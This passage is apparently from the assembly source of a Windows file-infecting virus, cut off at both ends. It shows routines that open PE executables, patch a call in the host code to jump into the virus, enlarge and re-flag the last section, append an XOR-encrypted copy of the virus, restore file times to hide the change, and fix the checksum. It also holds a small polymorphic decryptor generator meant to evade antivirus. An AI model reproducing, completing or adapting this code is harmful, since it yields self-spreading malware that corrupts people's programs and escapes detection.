|
|||
|
|
push eax
|
|||
|
|
push 00000080h
|
|||
|
|
push 00000003h
|
|||
|
|
push eax
|
|||
|
|
push eax
|
|||
|
|
push 80000000h OR 40000000h
|
|||
|
|
push esi
|
|||
|
|
call dword ptr [_CreateFileA+ebp]
|
|||
|
|
inc eax
|
|||
|
|
jz infectionErrorAttrib
|
|||
|
|
dec eax
|
|||
|
|
|
|||
|
|
mov dword ptr [fHnd+ebp],eax
|
|||
|
|
|
|||
|
|
push 0h
|
|||
|
|
push eax
|
|||
|
|
call dword ptr [_GetFileSize+ebp]
|
|||
|
|
inc eax
|
|||
|
|
jz infectionErrorClose
|
|||
|
|
dec eax
|
|||
|
|
|
|||
|
|
mov dword ptr [fileSize+ebp],eax
|
|||
|
|
|
|||
|
|
lea edi,fileTime2+ebp
|
|||
|
|
push edi
|
|||
|
|
lea edi,fileTime1+ebp
|
|||
|
|
push edi
|
|||
|
|
lea edi,fileTime0+ebp
|
|||
|
|
push edi
|
|||
|
|
push dword ptr [fHnd+ebp]
|
|||
|
|
call dword ptr [_GetFileTime+ebp]
|
|||
|
|
or eax,eax
|
|||
|
|
jz infectionErrorClose
|
|||
|
|
|
|||
|
|
xor eax,eax
|
|||
|
|
push eax
|
|||
|
|
push eax
|
|||
|
|
push eax
|
|||
|
|
push 00000004h
|
|||
|
|
push eax
|
|||
|
|
push dword ptr [fHnd+ebp]
|
|||
|
|
call dword ptr [_CreateFileMappingA+ebp]
|
|||
|
|
or eax,eax
|
|||
|
|
jz infectionErrorClose
|
|||
|
|
|
|||
|
|
mov dword ptr [fhmap+ebp],eax
|
|||
|
|
|
|||
|
|
xor eax,eax
|
|||
|
|
push eax
|
|||
|
|
push eax
|
|||
|
|
push eax
|
|||
|
|
push 00000004h OR 00000002h
|
|||
|
|
push dword ptr [fhmap+ebp]
|
|||
|
|
call dword ptr [_MapViewOfFile+ebp]
|
|||
|
|
or eax,eax
|
|||
|
|
jz infectionErrorCloseMap
|
|||
|
|
|
|||
|
|
mov dword ptr [mapMem+ebp],eax
|
|||
|
|
|
|||
|
|
mov edi,eax
|
|||
|
|
cmp word ptr [edi],'ZM'
|
|||
|
|
jne infectionErrorCloseUnmap
|
|||
|
|
|
|||
|
|
cmp word ptr [edi+12h],'(:' ; not valid file?
|
|||
|
|
je infectionErrorCloseUnmap
|
|||
|
|
|
|||
|
|
add edi,dword ptr [edi+3ch]
|
|||
|
|
cmp eax,edi
|
|||
|
|
ja notValidFile ; avoid fucking headers
|
|||
|
|
add eax,dword ptr [fileSize+ebp]
|
|||
|
|
cmp eax,edi
|
|||
|
|
jb notValidFile ; avoid fucking headers
|
|||
|
|
cmp word ptr [edi],'EP'
|
|||
|
|
jne notValidFile
|
|||
|
|
|
|||
|
|
mov edx,dword ptr [edi+16h] ; test it's a valid PE
|
|||
|
|
and edx,2h ; i want executable
|
|||
|
|
jz notValidFile
|
|||
|
|
xor edx,edx
|
|||
|
|
mov dx,word ptr [edi+5ch]
|
|||
|
|
dec edx ; i don't want NATIVE
|
|||
|
|
jz notValidFile
|
|||
|
|
|
|||
|
|
mov edx,edi
|
|||
|
|
|
|||
|
|
cmp dword ptr [edx+28h],0 ; test code base!=0
|
|||
|
|
je notValidFile ; this check is for some
|
|||
|
|
; DLL with no exec code
|
|||
|
|
mov esi,edi
|
|||
|
|
mov eax,18h
|
|||
|
|
add ax,word ptr [edi+14h]
|
|||
|
|
add edi,eax
|
|||
|
|
mov dword ptr [fstSec+ebp],edi
|
|||
|
|
|
|||
|
|
push edx
|
|||
|
|
mov cx,word ptr [esi+06h]
|
|||
|
|
mov ax,28h
|
|||
|
|
dec cx
|
|||
|
|
mul cx
|
|||
|
|
add edi,eax
|
|||
|
|
pop edx
|
|||
|
|
|
|||
|
|
test dword ptr [edi+24h],10000000h ; avoid this kind of section
|
|||
|
|
jnz notValidFile ; we can corrupt it!
|
|||
|
|
|
|||
|
|
mov eax,dword ptr [edi+24h]
|
|||
|
|
and eax,0e0000020h
|
|||
|
|
cmp eax,0e0000020h ; mmm... This is infected yet
|
|||
|
|
je infectionErrorCloseUnmap
|
|||
|
|
|
|||
|
|
mov eax,dword ptr [edi+10h] ; i rely on the headers...
|
|||
|
|
add eax,dword ptr [edi+14h]
|
|||
|
|
mov dword ptr [fileSize+ebp],eax
|
|||
|
|
|
|||
|
|
sub eax,dword ptr [edi+14h] ; calc our RVA
|
|||
|
|
add eax,dword ptr [edi+0ch]
|
|||
|
|
mov dword ptr [myRVA+ebp],eax
|
|||
|
|
; save virus entry point to calc relocations in
|
|||
|
|
; execution time
|
|||
|
|
add eax,dword ptr [esi+34h]
|
|||
|
|
mov dword ptr [virusEP+ebp],eax
|
|||
|
|
|
|||
|
|
call searchEPO ; Search for a call
|
|||
|
|
jc notValidFile
|
|||
|
|
|
|||
|
|
push edi edx ecx ; patch the call
|
|||
|
|
mov edx,dword ptr [myRVA+ebp]
|
|||
|
|
add edx,dword ptr [esi+34h] ; edx = dest rva
|
|||
|
|
mov edi,dword ptr [EPORva+ebp]
|
|||
|
|
add edi,dword ptr [esi+34h] ; edi = call rva
|
|||
|
|
sub edx,edi
|
|||
|
|
sub edx,5 ; edx patch the call
|
|||
|
|
mov ecx,dword ptr [EPOAddr+ebp]
|
|||
|
|
xchg dword ptr [ecx+1],edx
|
|||
|
|
add edx,edi ; get the rva
|
|||
|
|
add edx,5
|
|||
|
|
mov dword ptr [hostRET+ebp],edx ; and store it ;)
|
|||
|
|
pop ecx edx edi
|
|||
|
|
|
|||
|
|
mov eax,dword ptr [edi+08h] ; fix the virtual size
|
|||
|
|
push edx ; if needed
|
|||
|
|
mov ecx,dword ptr [edx+38h] ; some PE have strange
|
|||
|
|
xor edx,edx ; virt size (cdplayer p.e.)
|
|||
|
|
div ecx
|
|||
|
|
inc eax
|
|||
|
|
or edx,edx
|
|||
|
|
jz rvaFixDone
|
|||
|
|
xor edx,edx
|
|||
|
|
mul ecx
|
|||
|
|
|
|||
|
|
mov dword ptr [edi+08h],eax ; save the fixed virt size
|
|||
|
|
rvaFixDone:
|
|||
|
|
|
|||
|
|
; save image base for hook API
|
|||
|
|
mov edx,dword ptr [esi+34h]
|
|||
|
|
mov dword ptr [imageBase+ebp],edx
|
|||
|
|
pop edx
|
|||
|
|
|
|||
|
|
push edx ; calc the new virtual size
|
|||
|
|
mov eax,BUFFERSIZE ; for the section
|
|||
|
|
add eax,vSize
|
|||
|
|
mov ecx,dword ptr [edx+38h]
|
|||
|
|
xor edx,edx
|
|||
|
|
div ecx
|
|||
|
|
inc eax
|
|||
|
|
xor edx,edx
|
|||
|
|
mul ecx
|
|||
|
|
pop edx
|
|||
|
|
|
|||
|
|
add dword ptr [edi+08h],eax ; fix the virtual size
|
|||
|
|
add dword ptr [edx+50h],eax ; fix the image size
|
|||
|
|
|
|||
|
|
or dword ptr [edi+24h],0e0000020h ; set the properties
|
|||
|
|
|
|||
|
|
push edx ; calc new size for
|
|||
|
|
mov eax,dword ptr [gensize+ebp] ; the section
|
|||
|
|
mov ecx,dword ptr [edx+3ch]
|
|||
|
|
xor edx,edx
|
|||
|
|
div ecx
|
|||
|
|
inc eax
|
|||
|
|
xor edx,edx
|
|||
|
|
mul ecx
|
|||
|
|
pop edx
|
|||
|
|
|
|||
|
|
add dword ptr [edi+10h],eax ; store the phys size
|
|||
|
|
|
|||
|
|
mov edi,dword ptr [edx+80h] ; get RVA Import
|
|||
|
|
xor ecx,ecx
|
|||
|
|
mov cx,word ptr [edx+06h] ; number of sections
|
|||
|
|
mov esi,dword ptr [fstSec+ebp] ; get 1st section addr
|
|||
|
|
|
|||
|
|
impSectionLoop: ; look for import section
|
|||
|
|
mov ebx,dword ptr [esi+0ch]
|
|||
|
|
add ebx,dword ptr [esi+08h] ; test it's inside this
|
|||
|
|
cmp edi,ebx ; section
|
|||
|
|
jb impSectionFound
|
|||
|
|
add esi,28h
|
|||
|
|
dec ecx
|
|||
|
|
jnz impSectionLoop
|
|||
|
|
|
|||
|
|
impSectionFound:
|
|||
|
|
or dword ptr [esi+24h],80000000h ; make writable
|
|||
|
|
|
|||
|
|
push edx ; calc file padding
|
|||
|
|
mov ecx,PADDING ; (infection sign)
|
|||
|
|
add eax,dword ptr [fileSize+ebp]
|
|||
|
|
xor edx,edx
|
|||
|
|
div ecx
|
|||
|
|
inc eax
|
|||
|
|
xor edx,edx
|
|||
|
|
mul ecx
|
|||
|
|
mov dword ptr [pad+ebp],eax
|
|||
|
|
pop edx
|
|||
|
|
|
|||
|
|
; update the virus sample ready to infect.
|
|||
|
|
call updateVSample
|
|||
|
|
|
|||
|
|
push dword ptr [mapMem+ebp]
|
|||
|
|
call dword ptr [_UnmapViewOfFile+ebp]
|
|||
|
|
|
|||
|
|
push dword ptr [fhmap+ebp]
|
|||
|
|
call dword ptr [_CloseHandle+ebp]
|
|||
|
|
|
|||
|
|
xor eax,eax
|
|||
|
|
push eax
|
|||
|
|
push dword ptr [pad+ebp]
|
|||
|
|
push eax
|
|||
|
|
push 00000004h
|
|||
|
|
push eax
|
|||
|
|
push dword ptr [fHnd+ebp]
|
|||
|
|
call dword ptr [_CreateFileMappingA+ebp]
|
|||
|
|
or eax,eax
|
|||
|
|
jz infectionErrorClose
|
|||
|
|
|
|||
|
|
mov dword ptr [fhmap+ebp],eax
|
|||
|
|
|
|||
|
|
xor eax,eax
|
|||
|
|
push dword ptr [pad+ebp]
|
|||
|
|
push eax
|
|||
|
|
push eax
|
|||
|
|
push 00000004h OR 00000002h
|
|||
|
|
push dword ptr [fhmap+ebp]
|
|||
|
|
call dword ptr [_MapViewOfFile+ebp]
|
|||
|
|
or eax,eax
|
|||
|
|
jz infectionErrorCloseMap
|
|||
|
|
|
|||
|
|
mov dword ptr [mapMem+ebp],eax
|
|||
|
|
|
|||
|
|
mov ecx,dword ptr [gensize+ebp]
|
|||
|
|
mov esi,dword ptr [memHnd+ebp]
|
|||
|
|
mov edi,eax
|
|||
|
|
add edi,dword ptr [fileSize+ebp]
|
|||
|
|
rep movsb
|
|||
|
|
|
|||
|
|
xchg ecx,eax ; I want the padding
|
|||
|
|
mov eax,edi ; to be zeroes...
|
|||
|
|
sub eax,ecx
|
|||
|
|
mov ecx,dword ptr [pad+ebp]
|
|||
|
|
sub ecx,eax
|
|||
|
|
xor eax,eax
|
|||
|
|
rep stosb
|
|||
|
|
|
|||
|
|
; update the PE checksum
|
|||
|
|
mov ecx,dword ptr [pad+ebp]
|
|||
|
|
inc ecx
|
|||
|
|
shr ecx,1
|
|||
|
|
mov esi,dword ptr [mapMem+ebp]
|
|||
|
|
call CheckSumMappedFile ; calc partial check sum
|
|||
|
|
add esi,dword ptr [esi+3ch] ; goto begin of nt header
|
|||
|
|
mov word ptr [pchcks+ebp],ax
|
|||
|
|
mov edx,1 ; complete the check sum
|
|||
|
|
mov ecx,edx
|
|||
|
|
mov ax,word ptr [esi+58h]
|
|||
|
|
cmp word ptr [pchcks+ebp],ax
|
|||
|
|
adc ecx,-1
|
|||
|
|
sub word ptr [pchcks+ebp],cx
|
|||
|
|
sub word ptr [pchcks+ebp],ax
|
|||
|
|
mov ax,word ptr [esi+5ah]
|
|||
|
|
cmp word ptr [pchcks+ebp],ax
|
|||
|
|
adc edx,-1
|
|||
|
|
sub word ptr [pchcks+ebp],dx
|
|||
|
|
sub word ptr [pchcks+ebp],ax
|
|||
|
|
movzx ecx,word ptr [pchcks+ebp]
|
|||
|
|
add ecx,dword ptr [pad+ebp]
|
|||
|
|
mov dword ptr [esi+58h],ecx ; set new check sum
|
|||
|
|
|
|||
|
|
dec byte ptr [infCount+ebp] ; another infection
|
|||
|
|
|
|||
|
|
infectionErrorCloseUnmap:
|
|||
|
|
push dword ptr [mapMem+ebp]
|
|||
|
|
call dword ptr [_UnmapViewOfFile+ebp]
|
|||
|
|
|
|||
|
|
infectionErrorCloseMap:
|
|||
|
|
push dword ptr [fhmap+ebp]
|
|||
|
|
call dword ptr [_CloseHandle+ebp]
|
|||
|
|
|
|||
|
|
lea edi,fileTime2+ebp
|
|||
|
|
push edi
|
|||
|
|
lea edi,fileTime1+ebp
|
|||
|
|
push edi
|
|||
|
|
lea edi,fileTime0+ebp
|
|||
|
|
push edi
|
|||
|
|
push dword ptr [fHnd+ebp]
|
|||
|
|
call dword ptr [_SetFileTime+ebp]
|
|||
|
|
|
|||
|
|
infectionErrorClose:
|
|||
|
|
push dword ptr [fHnd+ebp]
|
|||
|
|
call dword ptr [_CloseHandle+ebp]
|
|||
|
|
|
|||
|
|
infectionErrorAttrib:
|
|||
|
|
push dword ptr [fileAttrib+ebp]
|
|||
|
|
push dword ptr [fNameAddr+ebp]
|
|||
|
|
call dword ptr [_SetFileAttributesA+ebp]
|
|||
|
|
|
|||
|
|
infectionError:
|
|||
|
|
popad
|
|||
|
|
ret
|
|||
|
|
;
|
|||
|
|
; Here the virus marks the file as no valid. This avoids later re-check
|
|||
|
|
; the file in next executions of virus. Notice the infected files are not
|
|||
|
|
; marked, for this issue i use size padding and test last section properties
|
|||
|
|
; in second instance. Avers will find this mark in files that the virus
|
|||
|
|
; doesn't want ;)
|
|||
|
|
;
|
|||
|
|
notValidFile:
|
|||
|
|
mov edi,dword ptr [mapMem+ebp]
|
|||
|
|
mov word ptr [edi+12h],'(:' ; checked but not valid!
|
|||
|
|
jmp infectionErrorCloseUnmap
|
|||
|
|
|
|||
|
|
;
|
|||
|
|
; This my 'search EPO' routine. Searches for a call into the code section
|
|||
|
|
; that points to:
|
|||
|
|
;
|
|||
|
|
; push ebp
|
|||
|
|
; mov ebp,esp
|
|||
|
|
;
|
|||
|
|
; This is the way the high level languages get the arguments from a call
|
|||
|
|
; of a procedure. If this code is found i assume the call found it's
|
|||
|
|
; correct and i patch it to jump into the virus.
|
|||
|
|
;
|
|||
|
|
searchEPO:
|
|||
|
|
pushad
|
|||
|
|
mov edi,dword ptr [esi+28h] ; get host EP
|
|||
|
|
|
|||
|
|
xor ecx,ecx
|
|||
|
|
mov cx,word ptr [esi+06h] ; number of sections
|
|||
|
|
mov esi,dword ptr [fstSec+ebp] ; get 1st section addr
|
|||
|
|
|
|||
|
|
sectionLoop: ; look for code section
|
|||
|
|
mov ebx,dword ptr [esi+0ch]
|
|||
|
|
add ebx,dword ptr [esi+08h] ; test it's inside this
|
|||
|
|
cmp edi,ebx ; section
|
|||
|
|
jb sectionFound
|
|||
|
|
add esi,28h
|
|||
|
|
dec ecx
|
|||
|
|
jnz sectionLoop
|
|||
|
|
stc
|
|||
|
|
jmp searchEPOOut
|
|||
|
|
|
|||
|
|
sectionFound:
|
|||
|
|
test dword ptr [esi+24h],10000000h ; avoid this kind of section
|
|||
|
|
jnz searchEPOFail ; we can corrupt it!
|
|||
|
|
|
|||
|
|
push esi
|
|||
|
|
sub edi,dword ptr [esi+0ch] ; get raw address
|
|||
|
|
add edi,dword ptr [esi+14h]
|
|||
|
|
mov ecx,dword ptr [esi+10h]
|
|||
|
|
cmp ecx,edi
|
|||
|
|
jna searchEPOFail
|
|||
|
|
sub ecx,edi
|
|||
|
|
add edi,dword ptr [mapMem+ebp]
|
|||
|
|
mov ebx,edi
|
|||
|
|
add ebx,ecx
|
|||
|
|
sub ebx,10h ; high secure fence
|
|||
|
|
callLoop: ; loop that searches
|
|||
|
|
cmp byte ptr [edi],0e8h ; for the call
|
|||
|
|
jne continueCallLoop
|
|||
|
|
mov edx,edi
|
|||
|
|
add edx,dword ptr [edi+1]
|
|||
|
|
add edx,5
|
|||
|
|
cmp ebx,edx
|
|||
|
|
jb continueCallLoop
|
|||
|
|
cmp edx,dword ptr [mapMem+ebp]
|
|||
|
|
jb continueCallLoop
|
|||
|
|
mov esi,edx
|
|||
|
|
mov dx,word ptr [esi]
|
|||
|
|
cmp dx,08b55h
|
|||
|
|
jne continueCallLoop
|
|||
|
|
mov dx,word ptr [esi+1]
|
|||
|
|
cmp dx,0ec8bh
|
|||
|
|
jne continueCallLoop
|
|||
|
|
mov dword ptr [EPOAddr+ebp],edi
|
|||
|
|
sub edi,dword ptr [mapMem+ebp]
|
|||
|
|
pop esi
|
|||
|
|
add edi,dword ptr [esi+0ch] ; get rva address
|
|||
|
|
sub edi,dword ptr [esi+14h]
|
|||
|
|
mov dword ptr [EPORva+ebp],edi
|
|||
|
|
clc
|
|||
|
|
jmp searchEPOOut
|
|||
|
|
continueCallLoop:
|
|||
|
|
inc edi
|
|||
|
|
loop callLoop
|
|||
|
|
searchEPOFail:
|
|||
|
|
pop esi
|
|||
|
|
stc
|
|||
|
|
searchEPOOut:
|
|||
|
|
popad
|
|||
|
|
ret
|
|||
|
|
;
|
|||
|
|
; Updates the virus sample ready to infect in our memory buffer.
|
|||
|
|
;
|
|||
|
|
updateVSample:
|
|||
|
|
lea edx,dateTime+ebp
|
|||
|
|
push edx
|
|||
|
|
call dword ptr [_GetSystemTime+ebp]
|
|||
|
|
|
|||
|
|
lea esi,dateTime+ebp ; save month-1
|
|||
|
|
xor eax,eax
|
|||
|
|
mov ax,word ptr [esi+2]
|
|||
|
|
dec eax
|
|||
|
|
or eax,eax
|
|||
|
|
jnz storeCountdown
|
|||
|
|
|
|||
|
|
add eax,12
|
|||
|
|
|
|||
|
|
storeCountdown:
|
|||
|
|
mov word ptr [countdown+ebp],ax
|
|||
|
|
|
|||
|
|
lea esi,vBegin+ebp ; update integrity check
|
|||
|
|
mov edi,vSize-4 ; using CRC32
|
|||
|
|
call CRC32
|
|||
|
|
mov dword ptr [myCRC32+ebp],eax
|
|||
|
|
|
|||
|
|
xor dword ptr [hostRET+ebp],eax ; hide hostEP
|
|||
|
|
|
|||
|
|
lea esi,vBegin+ebp ; copy virus body
|
|||
|
|
mov edi,dword ptr [memHnd+ebp]
|
|||
|
|
mov ecx,vSize
|
|||
|
|
rep movsb
|
|||
|
|
|
|||
|
|
mov ecx,dword ptr [CodeSize+ebp] ; encrypt virus body
|
|||
|
|
mov esi,5
|
|||
|
|
add esi,dword ptr [memHnd+ebp]
|
|||
|
|
mov eax,dword ptr [CrptKey+ebp]
|
|||
|
|
encrptLoop:
|
|||
|
|
xor dword ptr [esi],eax
|
|||
|
|
|
|||
|
|
test byte ptr [CrptFlags+ebp],F_SADD ; slide add?
|
|||
|
|
jz crptNoSADD
|
|||
|
|
|
|||
|
|
mov edx,dword ptr [CrptKey+ebp]
|
|||
|
|
not edx
|
|||
|
|
add eax,edx
|
|||
|
|
crptNoSADD:
|
|||
|
|
test byte ptr [CrptFlags+ebp],F_SSUB ; slide sub?
|
|||
|
|
jz crptNoSSUB
|
|||
|
|
|
|||
|
|
mov edx,dword ptr [CrptKey+ebp]
|
|||
|
|
rol edx,4
|
|||
|
|
sub eax,edx
|
|||
|
|
crptNoSSUB:
|
|||
|
|
add esi,4
|
|||
|
|
loop encrptLoop
|
|||
|
|
ret
|
|||
|
|
;
|
|||
|
|
; [99WATLEN] 99 WAys To Lame ENgine
|
|||
|
|
;
|
|||
|
|
; This is the lame poly engine of this time :(
|
|||
|
|
; It's only a way to not put fixed decryptors...
|
|||
|
|
; Notice it doesn't add garbage instructions.
|
|||
|
|
;
|
|||
|
|
; EAX: CrptKey
|
|||
|
|
; ECX: CodeSize
|
|||
|
|
; EDI: Destination address
|
|||
|
|
;
|
|||
|
|
; returns EAX: size of generated proc
|
|||
|
|
;
|
|||
|
|
; <KeyReg>: eax edx ebx ecx esi edi
|
|||
|
|
; <CouReg>: eax edx ebx ecx esi edi - { <KeyReg> }
|
|||
|
|
; <*Imm32>: Random immediate value
|
|||
|
|
; ?? op ??: Op could be here (or not ;)
|
|||
|
|
;
|
|||
|
|
; push ebp
|
|||
|
|
; mov ebp,esp
|
|||
|
|
; push <KeyReg>
|
|||
|
|
; push <CouReg>
|
|||
|
|
; mov <KeyReg>,<KeyImm32>
|
|||
|
|
; mov <CouReg>,<KeyImm32>
|
|||
|
|
; mov ebp,[ebp+4]
|
|||
|
|
;theloop:
|
|||
|
|
; xor [ebp],<KeyReg>
|
|||
|
|
; ?? add <KeyReg>,<SlideUpImm32> ??
|
|||
|
|
; ?? sub <KeyReg>,<SlideDownImm32> ??
|
|||
|
|
; add ebp,4
|
|||
|
|
; sub <CouReg>,1
|
|||
|
|
; jne theloop
|
|||
|
|
; pop <CouReg>
|
|||
|
|
; pop <KeyReg>
|
|||
|
|
; pop ebp
|
|||
|
|
; ret
|
|||
|
|
;
|
|||
|
|
GenDCrpt:
|
|||
|
|
pushad ; setup regs status
|
|||
|
|
xor eax,eax
|
|||
|
|
lea edi,RegStatus+ebp
|
|||
|
|
mov ecx,9
|
|||
|
|
rep stosb
|
|||
|
|
popad
|
|||
|
|
mov byte ptr [RegStatus+ebp+_EBP],1
|
|||
|
|
mov byte ptr [RegStatus+ebp+_ESP],1
|
|||
|
|
mov dword ptr [CrptKey+ebp],eax
|
|||
|
|
mov dword ptr [CodeSize+ebp],ecx
|
|||
|
|
mov byte ptr [CrptFlags+ebp],al
|
|||
|
|
xor byte ptr [CrptFlags+ebp],ah
|
|||
|
|
|
|||
|
|
xor eax,eax
|
|||
|
|
push edi
|
|||
|
|
|
|||
|
|
mov cl,_EBP
|
|||
|
|
call AddPushREG
|
|||
|
|
|
|||
|
|
mov ax,0ec8bh
|
|||
|
|
stosw
|
|||
|
|
|
|||
|
|
call GetReg
|
|||
|
|
mov byte ptr [KeyReg+ebp],al
|
|||
|
|
|
|||
|
|
mov cl,al
|
|||
|
|
call AddPushREG
|
|||
|
|
|
|||
|
|
call GetReg
|
|||
|
|
mov byte ptr [LoopReg+ebp],al
|
|||
|
|
|
|||
|
|
mov cl,al
|
|||
|
|
call AddPushREG
|
|||
|
|
|
|||
|
|
mov cl,byte ptr [KeyReg+ebp]
|
|||
|
|
mov edx,dword ptr [CrptKey+ebp]
|
|||
|
|
call AddMovREGINM
|
|||
|
|
|
|||
|
|
mov cl,byte ptr [LoopReg+ebp]
|
|||
|
|
mov edx,dword ptr [CodeSize+ebp]
|
|||
|
|
call AddMovREGINM
|
|||
|
|
|
|||
|
|
mov edx,04h
|
|||
|
|
mov cl,_EBP
|
|||
|
|
call AddMovREGMEMEBP
|
|||
|
|
|
|||
|
|
push edi
|
|||
|
|
|
|||
|
|
mov cl,byte ptr [KeyReg+ebp]
|
|||
|
|
call AddXorMEMEBPREG
|
|||
|
|
|
|||
|
|
test byte ptr [CrptFlags+ebp],F_SADD
|
|||
|
|
jz noSADD
|
|||
|
|
|
|||
|
|
mov cl,byte ptr [KeyReg+ebp]
|
|||
|
|
mov edx,dword ptr [CrptKey+ebp]
|
|||
|
|
not edx
|
|||
|
|
call AddAddREGINM
|
|||
|
|
|
|||
|
|
noSADD:
|
|||
|
|
test byte ptr [CrptFlags+ebp],F_SSUB
|
|||
|
|
jz noSSUB
|
|||
|
|
|
|||
|
|
mov cl,byte ptr [KeyReg+ebp]
|
|||
|
|
mov edx,dword ptr [CrptKey+ebp]
|
|||
|
|
rol edx,4
|
|||
|
|
call AddSubREGINM
|
|||
|
|
|
|||
|
|
noSSUB:
|
|||
|
|
mov cl,_EBP
|
|||
|
|
mov edx,04h
|
|||
|
|
call AddAddREGINM
|
|||
|
|
|
|||
|
|
mov cl,byte ptr [LoopReg+ebp]
|
|||
|
|
mov edx,1
|
|||
|
|
call AddSubREGINM
|
|||
|
|
|
|||
|
|
pop ebx
|
|||
|
|
mov eax,edi
|
|||
|
|
sub eax,ebx
|
|||
|
|
push eax
|
|||
|
|
mov al,75h
|
|||
|
|
stosb
|
|||
|
|
pop eax
|
|||
|
|
mov ah,0feh
|
|||
|
|
xchg al,ah
|
|||
|
|
sub al,ah
|
|||
|
|
stosb
|
|||
|
|
|
|||
|
|
mov cl,byte ptr [LoopReg+ebp]
|
|||
|
|
call AddPopREG
|
|||
|
|
|
|||
|
|
mov al,byte ptr [LoopReg+ebp]
|
|||
|
|
call FreeReg
|
|||
|
|
|
|||
|
|
mov cl,byte ptr [KeyReg+ebp]
|
|||
|
|
call AddPopREG
|
|||
|
|
|
|||
|
|
mov cl,_EBP
|
|||
|
|
call AddPopREG
|
|||
|
|
|
|||
|
|
mov al,0c3h
|
|||
|
|
stosb
|
|||
|
|
|
|||
|
|
pop esi
|
|||
|
|
sub edi,esi
|
|||
|
|
mov eax,edi
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
;
|
|||
|
|
; Poly engine data
|
|||
|
|
;
|
|||
|
|
_EAX equ 0
|
|||
|
|
_ECX equ 1
|
|||
|
|
_EDX equ 2
|
|||
|
|
_EBX equ 3
|
|||
|
|
_ESP equ 4
|
|||
|
|
_EBP equ 5
|
|||
|
|
_ESI equ 6
|
|||
|
|
_EDI equ 7
|
|||
|
|
F_SADD equ 1 or 4
|
|||
|
|
F_SSUB equ 2 or 4
|
|||
|
|
RegStatus db 8 dup(0)
|
|||
|
|
CrptFlags db 0
|
|||
|
|
KeyReg db 0
|
|||
|
|
LoopReg db 0
|
|||
|
|
CrptKey dd 0
|
|||
|
|
CodeSize dd 0
|
|||
|
|
|
|||
|
|
;
|
|||
|
|
; returns AL: selected register
|
|||
|
|
;
|
|||
|
|
GetReg:
|
|||
|
|
xor eax,eax
|
|||
|
|
mov al,byte ptr [CrptKey+ebp]
|
|||
|
|
GetReg1:
|
|||
|
|
and al,7
|
|||
|
|
lea ecx,RegStatus+ebp
|
|||
|
|
add ecx,eax
|
|||
|
|
mov dl,byte ptr [ecx]
|
|||
|
|
or dl,dl
|
|||
|
|
jz GetReg0
|
|||
|
|
inc al
|
|||
|
|
jmp GetReg1
|
|||
|
|
GetReg0:
|
|||
|
|
mov byte ptr [ecx],1
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
;
|
|||
|
|
; AL: selected register to free
|
|||
|
|
;
|
|||
|
|
FreeReg:
|
|||
|
|
and eax,7
|
|||
|
|
lea ecx,RegStatus+ebp
|
|||
|
|
add ecx,eax
|
|||
|
|
mov byte ptr [ecx],0
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
;
|
|||
|
|
; Instruction generators
|
|||
|
|
;
|
|||
|
|
; EDI: Destination code
|
|||
|
|
; ECX: Reg (if applicable)
|
|||
|
|
; EDX: Inm (if applicable)
|
|||
|
|
;
|
|||
|
|
|
|||
|
|
AddPushREG:
|
|||
|
|
mov al,050h
|
|||
|
|
add al,cl
|
|||
|
|
stosb
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
AddPopREG:
|
|||
|
|
mov al,058h
|
|||
|
|
add al,cl
|
|||
|
|
stosb
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
AddMovREGINM:
|
|||
|
|
mov al,0b8h
|
|||
|
|
add al,cl
|
|||
|
|
stosb
|
|||
|
|
mov eax,edx
|
|||
|
|
stosd
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
AddMovREGMEMEBP:
|
|||
|
|
mov al,08bh
|
|||
|
|
stosb
|
|||
|
|
mov al,08h
|
|||
|
|
mul cl
|
|||
|
|
add al,85h
|
|||
|
|
stosb
|
|||
|
|
mov eax,edx
|
|||
|
|
stosd
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
AddXorMEMEBPREG:
|
|||
|
|
mov al,031h
|
|||
|
|
stosb
|
|||
|
|
mov al,08h
|
|||
|
|
mul cl
|
|||
|
|
add al,45h
|
|||
|
|
stosb
|
|||
|
|
xor al,al
|
|||
|
|
stosb
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
AddAddREGINM:
|
|||
|
|
or cl,cl
|
|||
|
|
jnz AddAddREGINM0
|
|||
|
|
mov al,05h
|
|||
|
|
stosb
|
|||
|
|
jmp AddAddREGINM1
|
|||
|
|
AddAddREGINM0:
|
|||
|
|
mov al,081h
|
|||
|
|
stosb
|
|||
|
|
mov al,0c0h
|
|||
|
|
add al,cl
|
|||
|
|
stosb
|
|||
|
|
AddAddREGINM1:
|
|||
|
|
mov eax,edx
|
|||
|
|
stosd
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
AddSubREGINM:
|
|||
|
|
or cl,cl
|
|||
|
|
jnz AddSubREGINM0
|
|||
|
|
mov al,2dh
|
|||
|
|
stosb
|
|||
|
|
jmp AddSubREGINM1
|
|||
|
|
AddSubREGINM0:
|
|||
|
|
mov al,081h
|
|||
|
|
stosb
|
|||
|
|
mov al,0e8h
|
|||
|
|
add al,cl
|
|||
|
|
stosb
|
|||
|
|
AddSubREGINM1:
|
|||
|
|
mov eax,edx
|
|||
|
|
stosd
|
|||
|
|
ret
|
|||
|
|
;
|
|||
|
|
; This is our func that does the partial check sum of the file. I know it
|
|||
|
|
; must be improved... but i'm so lazy :( (still lazy)
|
|||
|
|
;
|
|||
|
|
; in: ecx (fileSize+1) shr 2
|
|||
|
|
; esi offset mappedFile
|
|||
|
|
;
|
|||
|
|
; out: eax partial checksum of file
|
|||
|
|
;
|
|||
|
|
CheckSumMappedFile:
|
|||
|
|
push esi
|
|||
|
|
xor eax, eax
|
|||
|
|
shl ecx, 1
|
|||
|
|
je func0_saltito0
|
|||
|
|
test esi, 00000002h
|
|||
|
|
je func0_saltito1
|
|||
|
|
sub edx, edx
|
|||
|
|
mov dx, word ptr [esi]
|
|||
|
|
add eax, edx
|
|||
|
|
adc eax, 00000000h
|
|||
|
|
add esi, 00000002h
|
|||
|
|
sub ecx, 00000002h
|
|||
|
|
|
|||
|
|
func0_saltito1:
|
|||
|
|
mov edx, ecx
|
|||
|
|
and edx, 00000007h
|
|||
|
|
sub ecx, edx
|
|||
|
|
je func0_saltito2
|
|||
|
|
test ecx, 00000008h
|
|||
|
|
je func0_saltito3
|
|||
|
|
add eax, dword ptr [esi]
|
|||
|
|
adc eax, dword ptr [esi+04h]
|
|||
|
|
adc eax, 00000000h
|
|||
|
|
